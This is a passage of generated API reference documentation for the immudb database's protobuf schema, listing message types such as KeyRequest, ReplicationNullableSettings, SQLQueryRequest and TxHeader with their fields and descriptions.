IndexNullableSettings\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| flushThreshold | [NullableUint32](#immudb.schema.NullableUint32) |  | Number of new index entries between disk flushes |\n| syncThreshold | [NullableUint32](#immudb.schema.NullableUint32) |  | Number of new index entries between disk flushes with file sync |\n| cacheSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Size of the Btree node cache in bytes |\n| maxNodeSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Max size of a single Btree node in bytes |\n| maxActiveSnapshots | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of active btree snapshots |\n| renewSnapRootAfter | [NullableUint64](#immudb.schema.NullableUint64) |  | Time in milliseconds between the most recent DB snapshot is automatically renewed |\n| compactionThld | [NullableUint32](#immudb.schema.NullableUint32) |  | Minimum number of updates entries in the btree to allow for full compaction |\n| delayDuringCompaction | [NullableUint32](#immudb.schema.NullableUint32) |  | Additional delay added during indexing when full compaction is in progress |\n| nodesLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of simultaneously opened nodes files |\n| historyLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of simultaneously opened node history files |\n| commitLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of simultaneously opened commit log files |\n| flushBufferSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Size of the in-memory flush buffer (in bytes) |\n| cleanupPercentage | [NullableFloat](#immudb.schema.NullableFloat) |  | Percentage of node files cleaned up during each flush |\n| maxBulkSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of transactions indexed together |\n| bulkPreparationTimeout | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) |  | Maximum time waiting for more transactions to be committed and included into the same bulk |\n\n\n\n\n\n\n<a name=\"immudb.schema.KVMetadata\"></a>\n\n### KVMetadata\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| deleted | [bool](#bool) |  | True if this entry denotes a logical deletion |\n| expiration | [Expiration](#immudb.schema.Expiration) |  | Entry expiration information |\n| nonIndexable | [bool](#bool) |  | If set to true, this entry will not be indexed and will only be accessed through GetAt calls |\n\n\n\n\n\n\n<a name=\"immudb.schema.Key\"></a>\n\n### Key\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.KeyListRequest\"></a>\n\n### KeyListRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| keys | [bytes](#bytes) | repeated | List of keys to query for |\n| sinceTx | [uint64](#uint64) |  | If 0, wait for index to be up-to-date, If &gt; 0, wait for at least sinceTx transaction to be indexed |\n\n\n\n\n\n\n<a name=\"immudb.schema.KeyPrefix\"></a>\n\n### KeyPrefix\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| prefix | [bytes](#bytes) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.KeyRequest\"></a>\n\n### KeyRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  | Key to query for |\n| atTx | [uint64](#uint64) |  | If &gt; 0, query for the value exactly at given transaction |\n| sinceTx | [uint64](#uint64) |  | If 0 (and noWait=false), wait for the index to be up-to-date, If &gt; 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed |\n| noWait | [bool](#bool) |  | If set to true - do not wait for any indexing update considering only the currently indexed state |\n| atRevision | [int64](#int64) |  | If &gt; 0, get the nth version of the value, 1 being the first version, 2 being the second and so on If &lt; 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on |\n\n\n\n\n\n\n<a name=\"immudb.schema.KeyValue\"></a>\n\n### KeyValue\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  |  |\n| value | [bytes](#bytes) |  |  |\n| metadata | [KVMetadata](#immudb.schema.KVMetadata) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.LinearAdvanceProof\"></a>\n\n### LinearAdvanceProof\nLinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain\nand the new Merkle Tree\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| linearProofTerms | [bytes](#bytes) | repeated | terms for the linear chain |\n| inclusionProofs | [InclusionProof](#immudb.schema.InclusionProof) | repeated | inclusion proofs for steps on the linear chain |\n\n\n\n\n\n\n<a name=\"immudb.schema.LinearProof\"></a>\n\n### LinearProof\nLinearProof contains the linear part of the proof (outside the main Merkle Tree)\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sourceTxId | [uint64](#uint64) |  | Starting transaction of the proof |\n| TargetTxId | [uint64](#uint64) |  | End transaction of the proof |\n| terms | [bytes](#bytes) | repeated | List of terms (inner hashes of transaction entries) |\n\n\n\n\n\n\n<a name=\"immudb.schema.LoadDatabaseRequest\"></a>\n\n### LoadDatabaseRequest\nDatabase name\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | may add createIfNotExist |\n\n\n\n\n\n\n<a name=\"immudb.schema.LoadDatabaseResponse\"></a>\n\n### LoadDatabaseResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name\n\nmay add settings |\n\n\n\n\n\n\n<a name=\"immudb.schema.LoginRequest\"></a>\n\n### LoginRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| user | [bytes](#bytes) |  | Username |\n| password | [bytes](#bytes) |  | User&#39;s password |\n\n\n\n\n\n\n<a name=\"immudb.schema.LoginResponse\"></a>\n\n### LoginResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| token | [string](#string) |  | Deprecated: use session-based authentication |\n| warning | [bytes](#bytes) |  | Optional: additional warning message sent to the user (e.g. request to change the password) |\n\n\n\n\n\n\n<a name=\"immudb.schema.MTLSConfig\"></a>\n\n### MTLSConfig\nDEPRECATED\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| enabled | [bool](#bool) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.NamedParam\"></a>\n\n### NamedParam\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| name | [string](#string) |  | Parameter name |\n| value | [SQLValue](#immudb.schema.SQLValue) |  | Parameter value |\n\n\n\n\n\n\n<a name=\"immudb.schema.NewTxRequest\"></a>\n\n### NewTxRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| mode | [TxMode](#immudb.schema.TxMode) |  | Transaction mode |\n| snapshotMustIncludeTxID | [NullableUint64](#immudb.schema.NullableUint64) |  | An existing snapshot may be reused as long as it includes the specified transaction If not specified it will include up to the latest precommitted transaction |\n| snapshotRenewalPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) |  | An existing snapshot may be reused as long as it is not older than the specified timeframe |\n| unsafeMVCC | [bool](#bool) |  | Indexing may not be up to date when doing MVCC |\n\n\n\n\n\n\n<a name=\"immudb.schema.NewTxResponse\"></a>\n\n### NewTxResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| transactionID | [string](#string) |  | Internal transaction ID |\n\n\n\n\n\n\n<a name=\"immudb.schema.NullableBool\"></a>\n\n### NullableBool\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| value | [bool](#bool) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.NullableFloat\"></a>\n\n### NullableFloat\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| value | [float](#float) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.NullableMilliseconds\"></a>\n\n### NullableMilliseconds\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| value | [int64](#int64) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.NullableString\"></a>\n\n### NullableString\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| value | [string](#string) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.NullableUint32\"></a>\n\n### NullableUint32\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| value | [uint32](#uint32) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.NullableUint64\"></a>\n\n### NullableUint64\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| value | [uint64](#uint64) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.Op\"></a>\n\n### Op\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| kv | [KeyValue](#immudb.schema.KeyValue) |  | Modify / add simple KV value |\n| zAdd | [ZAddRequest](#immudb.schema.ZAddRequest) |  | Modify / add sorted set entry |\n| ref | [ReferenceRequest](#immudb.schema.ReferenceRequest) |  | Modify / add reference |\n\n\n\n\n\n\n<a name=\"immudb.schema.OpenSessionRequest\"></a>\n\n### OpenSessionRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| username | [bytes](#bytes) |  | Username |\n| password | [bytes](#bytes) |  | Password |\n| databaseName | [string](#string) |  | Database name |\n\n\n\n\n\n\n<a name=\"immudb.schema.OpenSessionResponse\"></a>\n\n### OpenSessionResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sessionID | [string](#string) |  | Id of the new session |\n| serverUUID | [string](#string) |  | UUID of the server |\n\n\n\n\n\n\n<a name=\"immudb.schema.Permission\"></a>\n\n### Permission\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n| permission | [uint32](#uint32) |  | Permission, 1 - read permission, 2 - read&#43;write permission, 254 - admin, 255 - sysadmin |\n\n\n\n\n\n\n<a name=\"immudb.schema.Precondition\"></a>\n\n### Precondition\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| keyMustExist | [Precondition.KeyMustExistPrecondition](#immudb.schema.Precondition.KeyMustExistPrecondition) |  |  |\n| keyMustNotExist | [Precondition.KeyMustNotExistPrecondition](#immudb.schema.Precondition.KeyMustNotExistPrecondition) |  |  |\n| keyNotModifiedAfterTX | [Precondition.KeyNotModifiedAfterTXPrecondition](#immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.Precondition.KeyMustExistPrecondition\"></a>\n\n### Precondition.KeyMustExistPrecondition\nOnly succeed if given key exists\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  | key to check |\n\n\n\n\n\n\n<a name=\"immudb.schema.Precondition.KeyMustNotExistPrecondition\"></a>\n\n### Precondition.KeyMustNotExistPrecondition\nOnly succeed if given key does not exists\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  | key to check |\n\n\n\n\n\n\n<a name=\"immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition\"></a>\n\n### Precondition.KeyNotModifiedAfterTXPrecondition\nOnly succeed if given key was not modified after given transaction\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  | key to check |\n| txID | [uint64](#uint64) |  | transaction id to check against |\n\n\n\n\n\n\n<a name=\"immudb.schema.Reference\"></a>\n\n### Reference\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tx | [uint64](#uint64) |  | Transaction if when the reference key was set |\n| key | [bytes](#bytes) |  | Reference key |\n| atTx | [uint64](#uint64) |  | At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference |\n| metadata | [KVMetadata](#immudb.schema.KVMetadata) |  | Metadata of the reference entry |\n| revision | [uint64](#uint64) |  | Revision of the reference entry |\n\n\n\n\n\n\n<a name=\"immudb.schema.ReferenceRequest\"></a>\n\n### ReferenceRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  | Key for the reference |\n| referencedKey | [bytes](#bytes) |  | Key to be referenced |\n| atTx | [uint64](#uint64) |  | If boundRef == true, id of transaction to bind with the reference |\n| boundRef | [bool](#bool) |  | If true, bind the reference to particular transaction, if false, use the most recent value of the key |\n| noWait | [bool](#bool) |  | If true, do not wait for the indexer to index this write operation |\n| preconditions | [Precondition](#immudb.schema.Precondition) | repeated | Preconditions to be met to perform the write |\n\n\n\n\n\n\n<a name=\"immudb.schema.ReplicaState\"></a>\n\n### ReplicaState\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| UUID | [string](#string) |  |  |\n| committedTxID | [uint64](#uint64) |  |  |\n| committedAlh | [bytes](#bytes) |  |  |\n| precommittedTxID | [uint64](#uint64) |  |  |\n| precommittedAlh | [bytes](#bytes) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.ReplicationNullableSettings\"></a>\n\n### ReplicationNullableSettings\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| replica | [NullableBool](#immudb.schema.NullableBool) |  | If set to true, this database is replicating another database |\n| primaryDatabase | [NullableString](#immudb.schema.NullableString) |  | Name of the database to replicate |\n| primaryHost | [NullableString](#immudb.schema.NullableString) |  | Hostname of the immudb instance with database to replicate |\n| primaryPort | [NullableUint32](#immudb.schema.NullableUint32) |  | Port of the immudb instance with database to replicate |\n| primaryUsername | [NullableString](#immudb.schema.NullableString) |  | Username of the user with read access of the database to replicate |\n| primaryPassword | [NullableString](#immudb.schema.NullableString) |  | Password of the user with read access of the database to replicate |\n| syncReplication | [NullableBool](#immudb.schema.NullableBool) |  | Enable synchronous replication |\n| syncAcks | [NullableUint32](#immudb.schema.NullableUint32) |  | Number of confirmations from synchronous replicas required to commit a transaction |\n| prefetchTxBufferSize | [NullableUint32](#immudb.schema.NullableUint32) |  | Maximum number of prefetched transactions |\n| replicationCommitConcurrency | [NullableUint32](#immudb.schema.NullableUint32) |  | Number of concurrent replications |\n| allowTxDiscarding | [NullableBool](#immudb.schema.NullableBool) |  | Allow precommitted transactions to be discarded if the replica diverges from the primary |\n| skipIntegrityCheck | [NullableBool](#immudb.schema.NullableBool) |  | Disable integrity check when reading data during replication |\n| waitForIndexing | [NullableBool](#immudb.schema.NullableBool) |  | Wait for indexing to be up to date during replication |\n\n\n\n\n\n\n<a name=\"immudb.schema.RetryInfo\"></a>\n\n### RetryInfo\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| retry_delay | [int32](#int32) |  | Number of milliseconds after which the request can be retried |\n\n\n\n\n\n\n<a name=\"immudb.schema.Row\"></a>\n\n### Row\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| columns | [string](#string) | repeated | Column names |\n| values | [SQLValue](#immudb.schema.SQLValue) | repeated | Column values |\n\n\n\n\n\n\n<a name=\"immudb.schema.SQLEntry\"></a>\n\n### SQLEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tx | [uint64](#uint64) |  | Id of the transaction when the row was added / modified |\n| key | [bytes](#bytes) |  | Raw key of the row |\n| value | [bytes](#bytes) |  | Raw value of the row |\n| metadata | [KVMetadata](#immudb.schema.KVMetadata) |  | Metadata of the raw value |\n\n\n\n\n\n\n<a name=\"immudb.schema.SQLExecRequest\"></a>\n\n### SQLExecRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sql | [string](#string) |  | SQL query |\n| params | [NamedParam](#immudb.schema.NamedParam) | repeated | Named query parameters |\n| noWait | [bool](#bool) |  | If true, do not wait for the indexer to index written changes |\n\n\n\n\n\n\n<a name=\"immudb.schema.SQLExecResult\"></a>\n\n### SQLExecResult\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| txs | [CommittedSQLTx](#immudb.schema.CommittedSQLTx) | repeated | List of committed transactions as a result of the exec operation |\n| ongoingTx | [bool](#bool) |  | If true, there&#39;s an ongoing transaction after exec completes |\n\n\n\n\n\n\n<a name=\"immudb.schema.SQLGetRequest\"></a>\n\n### SQLGetRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| table | [string](#string) |  | Table name |\n| pkValues | [SQLValue](#immudb.schema.SQLValue) | repeated | Values of the primary key |\n| atTx | [uint64](#uint64) |  | Id of the transaction at which the row was added / modified |\n| sinceTx | [uint64](#uint64) |  | If &gt; 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed |\n\n\n\n\n\n\n<a name=\"immudb.schema.SQLPrivilege\"></a>\n\n### SQLPrivilege\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n| privilege | [string](#string) |  | Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER |\n\n\n\n\n\n\n<a name=\"immudb.schema.SQLQueryRequest\"></a>\n\n### SQLQueryRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sql | [string](#string) |  | SQL query |\n| params | [NamedParam](#immudb.schema.NamedParam) | repeated | Named query parameters |\n| reuseSnapshot | [bool](#bool) |  | **Deprecated.** If true, reuse previously opened snapshot |\n| acceptStream | [bool](#bool) |  | Wheter the client accepts a streaming response |\n\n\n\n\n\n\n<a name=\"immudb.schema.SQLQueryResult\"></a>\n\n### SQLQueryResult\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| columns | [Column](#immudb.schema.Column) | repeated | Result columns description |\n| rows | [Row](#immudb.schema.Row) | repeated | Result rows |\n\n\n\n\n\n\n<a name=\"immudb.schema.SQLValue\"></a>\n\n### SQLValue\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| null | [google.protobuf.NullValue](#google.protobuf.NullValue) |  |  |\n| n | [int64](#int64) |  |  |\n| s | [string](#string) |  |  |\n| b | [bool](#bool) |  |  |\n| bs | [bytes](#bytes) |  |  |\n| ts | [int64](#int64) |  |  |\n| f | [double](#double) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.ScanRequest\"></a>\n\n### ScanRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| seekKey | [bytes](#bytes) |  | If not empty, continue scan at (when inclusiveSeek == true) or after (when inclusiveSeek == false) that key |\n| endKey | [bytes](#bytes) |  | stop at (when inclusiveEnd == true) or before (when inclusiveEnd == false) that key |\n| prefix | [bytes](#bytes) |  | search for entries with this prefix only |\n| desc | [bool](#bool) |  | If set to true, sort items in descending order |\n| limit | [uint64](#uint64) |  | maximum number of entries to get, if not specified, the default value is used |\n| sinceTx | [uint64](#uint64) |  | If non-zero, only require transactions up to this transaction to be indexed, newer transaction may still be pending |\n| noWait | [bool](#bool) |  | Deprecated: If set to true, do not wait for indexing to be done before finishing this call |\n| inclusiveSeek | [bool](#bool) |  | If set to true, results will include seekKey |\n| inclusiveEnd | [bool](#bool) |  | If set to true, results will include endKey if needed |\n| offset | [uint64](#uint64) |  | Specify the initial entry to be returned by excluding the initial set of entries |\n\n\n\n\n\n\n<a name=\"immudb.schema.Score\"></a>\n\n### Score\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| score | [double](#double) |  | Entry&#39;s score value |\n\n\n\n\n\n\n<a name=\"immudb.schema.ServerInfoRequest\"></a>\n\n### ServerInfoRequest\nServerInfoRequest exists to provide extensibility for rpc ServerInfo.\n\n\n\n\n\n\n<a name=\"immudb.schema.ServerInfoResponse\"></a>\n\n### ServerInfoResponse\nServerInfoResponse contains information about the server instance.\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| version | [string](#string) |  | The version of the server instance. |\n| startedAt | [int64](#int64) |  | Unix timestamp (seconds) indicating when the server process has been started. |\n| numTransactions | [int64](#int64) |  | Total number of transactions across all databases. |\n| numDatabases | [int32](#int32) |  | Total number of databases present. |\n| databasesDiskSize | [int64](#int64) |  | Total disk size used by all databases. |\n\n\n\n\n\n\n<a name=\"immudb.schema.SetActiveUserRequest\"></a>\n\n### SetActiveUserRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| active | [bool](#bool) |  | If true, the user is active |\n| username | [string](#string) |  | Name of the user to activate / deactivate |\n\n\n\n\n\n\n<a name=\"immudb.schema.SetRequest\"></a>\n\n### SetRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| KVs | [KeyValue](#immudb.schema.KeyValue) | repeated | List of KV entries to set |\n| noWait | [bool](#bool) |  | If set to true, do not wait for indexer to index ne entries |\n| preconditions | [Precondition](#immudb.schema.Precondition) | repeated | Preconditions to be met to perform the write |\n\n\n\n\n\n\n<a name=\"immudb.schema.Signature\"></a>\n\n### Signature\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| publicKey | [bytes](#bytes) |  |  |\n| signature | [bytes](#bytes) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.Table\"></a>\n\n### Table\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tableName | [string](#string) |  | Table name |\n\n\n\n\n\n\n<a name=\"immudb.schema.TruncateDatabaseRequest\"></a>\n\n### TruncateDatabaseRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n| retentionPeriod | [int64](#int64) |  | Retention Period of data |\n\n\n\n\n\n\n<a name=\"immudb.schema.TruncateDatabaseResponse\"></a>\n\n### TruncateDatabaseResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n\n\n\n\n\n\n<a name=\"immudb.schema.TruncationNullableSettings\"></a>\n\n### TruncationNullableSettings\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| retentionPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) |  | Retention Period for data in the database |\n| truncationFrequency | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) |  | Truncation Frequency for the database |\n\n\n\n\n\n\n<a name=\"immudb.schema.Tx\"></a>\n\n### Tx\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| header | [TxHeader](#immudb.schema.TxHeader) |  | Transaction header |\n| entries | [TxEntry](#immudb.schema.TxEntry) | repeated | Raw entry values |\n| kvEntries | [Entry](#immudb.schema.Entry) | repeated | KV entries in the transaction (parsed) |\n| zEntries | [ZEntry](#immudb.schema.ZEntry) | repeated | Sorted Set entries in the transaction (parsed) |\n\n\n\n\n\n\n<a name=\"immudb.schema.TxEntry\"></a>\n\n### TxEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| key | [bytes](#bytes) |  | Raw key value (contains 1-byte prefix for kind of the key) |\n| hValue | [bytes](#bytes) |  | Value hash |\n| vLen | [int32](#int32) |  | Value length |\n| metadata | [KVMetadata](#immudb.schema.KVMetadata) |  | Entry metadata |\n| value | [bytes](#bytes) |  | value, must be ignored when len(value) == 0 and vLen &gt; 0. Otherwise sha256(value) must be equal to hValue. |\n\n\n\n\n\n\n<a name=\"immudb.schema.TxHeader\"></a>\n\n### TxHeader\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| id | [uint64](#uint64) |  | Transaction ID |\n| prevAlh | [bytes](#bytes) |  | State value (Accumulative Hash - Alh) of the previous transaction |\n| ts | [int64](#int64) |  | Unix timestamp of the transaction (in seconds) |\n| nentries | [int32](#int32) |  | Number of entries in a transaction |\n| eH | [bytes](#bytes) |  | Entries Hash - cumulative hash of all entries in the transaction |\n| blTxId | [uint64](#uint64) |  | Binary linking tree transaction ID (ID of last transaction already in the main Merkle Tree) |\n| blRoot | [bytes](#bytes) |  | Binary linking tree root (Root hash of the Merkle Tree) |\n| version | [int32](#int32) |  | Header version |\n| metadata | [TxMetadata](#immudb.schema.TxMetadata) |  | Transaction metadata |\n\n\n\n\n\n\n<a name=\"immudb.schema.TxList\"></a>\n\n### TxList\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| txs | [Tx](#immudb.schema.Tx) | repeated | List of transactions |\n\n\n\n\n\n\n<a name=\"immudb.schema.TxMetadata\"></a>\n\n### TxMetadata\nTxMetadata contains metadata set to whole transaction\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| truncatedTxID | [uint64](#uint64) |  | Entry expiration information |\n| extra | [bytes](#bytes) |  | Extra data |\n\n\n\n\n\n\n<a name=\"immudb.schema.TxRequest\"></a>\n\n### TxRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| tx | [uint64](#uint64) |  | Transaction id to query for |\n| entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) |  | Specification for parsing entries, if empty, entries are returned in raw form |\n| sinceTx | [uint64](#uint64) |  | If &gt; 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references |\n| noWait | [bool](#bool) |  | Deprecated: If set to true, do not wait for the indexer to be up to date |\n| keepReferencesUnresolved | [bool](#bool) |  | If set to true, do not resolve references (avoid looking up final values if not needed) |\n\n\n\n\n\n\n<a name=\"immudb.schema.TxScanRequest\"></a>\n\n### TxScanRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| initialTx | [uint64](#uint64) |  | ID of the transaction where scanning should start |\n| limit | [uint32](#uint32) |  | Maximum number of transactions to scan, when not specified the default limit is used |\n| desc | [bool](#bool) |  | If set to true, scan transactions in descending order |\n| entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) |  | Specification of how to parse entries |\n| sinceTx | [uint64](#uint64) |  | If &gt; 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references |\n| noWait | [bool](#bool) |  | Deprecated: If set to true, do not wait for the indexer to be up to date |\n\n\n\n\n\n\n<a name=\"immudb.schema.UnloadDatabaseRequest\"></a>\n\n### UnloadDatabaseRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n\n\n\n\n\n\n<a name=\"immudb.schema.UnloadDatabaseResponse\"></a>\n\n### UnloadDatabaseResponse\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n\n\n\n\n\n\n<a name=\"immudb.schema.UpdateDatabaseRequest\"></a>\n\n### UpdateDatabaseRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n| settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) |  | Updated settings |\n\n\n\n\n\n\n<a name=\"immudb.schema.UpdateDatabaseResponse\"></a>\n\n### UpdateDatabaseResponse\nReserved to reply with more advanced response later\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| database | [string](#string) |  | Database name |\n| settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) |  | Current database settings |\n\n\n\n\n\n\n<a name=\"immudb.schema.UseDatabaseReply\"></a>\n\n### UseDatabaseReply\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| token | [string](#string) |  | Deprecated: database access token |\n\n\n\n\n\n\n<a name=\"immudb.schema.UseSnapshotRequest\"></a>\n\n### UseSnapshotRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| sinceTx | [uint64](#uint64) |  |  |\n| asBeforeTx | [uint64](#uint64) |  |  |\n\n\n\n\n\n\n<a name=\"immudb.schema.User\"></a>\n\n### User\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| user | [bytes](#bytes) |  | Username |\n| permissions | [Permission](#immudb.schema.Permission) | repeated | List of permissions for the user |\n| createdby | [string](#string) |  | Name of the creator user |\n| createdat | [string](#string) |  | Time when the user was created |\n| active | [bool](#bool) |  | Flag indicating whether the user is active or not |\n| sqlPrivileges | [SQLPrivilege](#immudb.schema.SQLPrivilege) | repeated | List of SQL privileges |\n\n\n\n\n\n\n<a name=\"immudb.schema.UserList\"></a>\n\n### UserList\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| users | [User](#immudb.schema.User) | repeated | List of users |\n\n\n\n\n\n\n<a name=\"immudb.schema.UserRequest\"></a>\n\n### UserRequest\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| user | [bytes](#bytes) |  | Username |\n\n\n\n\n\n\n<a name=\"immudb.schema.VerifiableEntry\"></a>\n\n### VerifiableEntry\n\n\n\n| Field | Type | Label | Description |\n| ----- | ---- | ----- | ----------- |\n| entry | [Entry](#immudb.schema.Entry) |  | Entry to verify |\n| verifiableTx | [VerifiableTx](#immudb.schema.VerifiableTx) |  | Transaction to verify |\n| inclusionProof | [InclusionProof](#immudb.schema.InclusionProof) |  | Proof for inclusion of the entry within the transaction |\n\n\n\n\n\n\n<a 